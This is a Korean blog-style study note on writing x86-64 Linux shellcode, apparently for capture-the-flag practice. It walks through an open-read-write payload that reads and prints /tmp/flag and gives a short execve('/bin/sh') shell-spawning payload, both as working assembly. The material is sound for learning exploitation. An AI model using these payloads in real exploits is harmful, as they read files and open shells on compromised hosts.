셸코드 작성 본문
char buf[0x30];
int fd = open("/tmp/flag", RD_ONLY, NULL);
read(fd, buf, 0x30);
write(1, buf, 0x30);
해당 코드의 shellcode를 만들어 본다.
read | 0x00 | unsigned int fd | char *buf | size_t count |
write | 0x01 | unsigned int fd | const char *buf | size_t count |
open | 0x02 | const char *filename | int flags | umode_t mode |
1. open
push 0x67
mov rax, 0x616c662f706d742f
push rax
mov rdi, rsp ; rdi = "/tmp/flag"
xor rsi, rsi ; rsi = 0 ; RD_ONLY
xor rdx, rdx ; rdx = 0
mov rax, 2 ; rax = 2 ; syscall_open
syscall ; open("/tmp/flag", RD_ONLY, NULL)
/tmp/flag는 9byte이므로 먼저 g라는 문자를 push 해준다.
rax에 문자열을 넣는다 rdi의 주소를 rsp주소와 같게 만들면 rdi는 스택 최상단을 가르키게 된다.
rsi, rdx는 0으로 넣는다. rax에 2를 넣고 syscall한다.
2. read
mov rdi, rax ; rdi = fd
mov rsi, rsp
sub rsi, 0x30 ; rsi = rsp-0x30 ; buf
mov rdx, 0x30 ; rdx = 0x30 ; len
mov rax, 0x0 ; rax = 0 ; syscall_read
syscall ; read(fd, buf, 0x30)
반환되는 rax에는 fd값이 들어있다. 이것을 rdi에 옮긴다.
rsi를 스택 최상단으로 옮긴다.
rsi - 0x30으로 공간을 만든다. -> rsp - 0x30
rdx는 읽을 길이이다.
rax 0번을 넣는다.
3. write
mov rdi, 1 ; rdi = 1 ; fd = stdout
mov rax, 0x1 ; rax = 1 ; syscall_write
syscall ; write(fd, buf, 0x30)
rdi에 1번 fd를 넣는다.
rsi와 rdx는 이미 저번에 설정해두어서 그래도 쓰면된다.
orw shellcode 종합
push 0x67
mov rax, 0x616c662f706d742f
push rax
mov rdi, rsp ; rdi = "/tmp/flag"
xor rsi, rsi ; rsi = 0 ; RD_ONLY
xor rdx, rdx ; rdx = 0
mov rax, 2 ; rax = 2 ; syscall_open
syscall ; open("/tmp/flag", RD_ONLY, NULL)
mov rdi, rax ; rdi = fd
mov rsi, rsp
sub rsi, 0x30 ; rsi = rsp-0x30 ; buf
mov rdx, 0x30 ; rdx = 0x30 ; len
mov rax, 0x0 ; rax = 0 ; syscall_read
syscall ; read(fd, buf, 0x30)
mov rdi, 1 ; rdi = 1 ; fd = stdout
mov rax, 0x1 ; rax = 1 ; syscall_write
syscall ; write(fd, buf, 0x30)
execve shellcode
mov rax, 0x68732f6e69622f
push rax
mov rdi, rsp ; rdi = "/bin/sh\x00"
xor rsi, rsi ; rsi = NULL
xor rdx, rdx ; rdx = NULL
mov rax, 0x3b ; rax = sys_execve
syscall
자주 사용해먹는 녀석이다.
rax 59번은 sys_execve를 호출한다.
'개념 정리' 카테고리의 다른 글
shellcode 모음 (0) | 2022.01.07 |
---|---|
ptmalloc2 (0) | 2022.01.03 |
어셈블리어와 x86-64 (0) | 2021.12.26 |
Linux Memory Layout (0) | 2021.12.26 |
메모리 구조 (0) | 2021.11.25 |
Comments